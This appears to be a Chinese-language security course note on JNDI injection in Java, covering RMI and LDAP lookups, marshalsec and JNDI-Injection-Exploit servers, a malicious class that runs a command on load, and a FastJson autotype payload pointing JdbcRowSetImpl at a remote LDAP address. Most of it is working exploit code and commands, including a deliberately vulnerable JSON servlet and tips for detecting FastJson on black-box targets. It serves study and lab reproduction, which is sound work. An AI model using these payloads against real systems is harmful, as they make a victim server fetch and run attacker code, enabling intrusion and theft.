第37天:安全开发-JavaEE应用&JNDI&RMI服务&LDAP服务&JDK绕过&调用链类

JNDI注入的版本限制:

image-20250806084235334

演示案例:

JNDI 注入-RMI&LDAP 服务

JNDI 注入-FastJson 漏洞结合

JNDI 注入-JDK 高版本注入绕过

jndi.java

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象
}
}

这里的这个远程地址,可以使用上一节使用的那个jar包。

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 10.20.0.92

image-20250806084530666

然后将这个符合版本的地址放到代码中的url变量中。如果java版本符合就会远程执行计算器的操作。

第二种使用自己编译的class文件marshalsec

首先自己写利用代码:

Test.java

1
2
3
4
5
6
7
import java.lang.Runtime;

public class Calc {
public Calc() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

将这个java文件编译成class文件,然后将这个文件上传到云服务器上,然后在使用如下命令执行,最后在代码中写入远程地址:

1
2
3
4
5
6
7
8
9
#遍历class文件:
javac xxx.java文件

#将这个文件上传到云服务器上
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
#这里这个命令是生成ldap协议的

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test
#这个命令是生成RMI协议的

然后在代码中将地址拼接在里面:

client.java

1
2
3
4
5
6
7
8
9
10
11
12
import javax.naming.InitialContext;


public class Client {
public static void main(String[] args) throws Exception{
//System.setProperty(Context.INITIAL_CONTEXT_FACTORY,)
new InitialContext().lookup("ldap://10.20.0.92:1389/Test");

}
}

//这里需要注意的是上传的文件名是Test,这里的地址后面也要是Test

image-20250806090529324

高版本绕过

1
2
3
https://tttang.com/archive/1405/
https://forum.butian.net/share/2960
https://stack.chaitin.com/techblog/detail/249

JNDI注入-FastJson漏洞结合

1
2
3
4
背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)

思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入
漏洞利用==FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,==攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

Fastjson反序列化漏洞复现:

1
https://blog.csdn.net/weixin_49150931/article/details/126056687

Fsweb.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.example.fsjndi;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/json")
public class Fsweb extends HelloServlet{

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String jsondata=req.getParameter("str");
System.out.println(jsondata);
JSONObject jsonObject = JSON.parseObject(jsondata);
System.out.println(jsonObject);
}
}

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
<form action="/json" method="post">
please input json data:<input type="text" name="str"><br>
<input type="submit" value="提交">
</form>
</body>
</html>

这里如果你的java版本还是不符合就会出现,接受了响应,但是没有执行命令。

image-20250806091502586

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.83.186.173:1389/ejzqto","autoCommit":true}

这里地址还是填写远程的地址。

那么在黑盒的情况下如何知道对方是使用fastjson的呢?

1
2
3
4
5
https://blog.csdn.net/m0_71692682/article/details/125814861
一般手工是通过报错页面,或者通过查看请求包来看请求包中是否有json的格式。

https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md
#Fastjson全版本检测及利用

报错判断,从报错页面来看是否有fastjson的关键字:

image-20250806091527726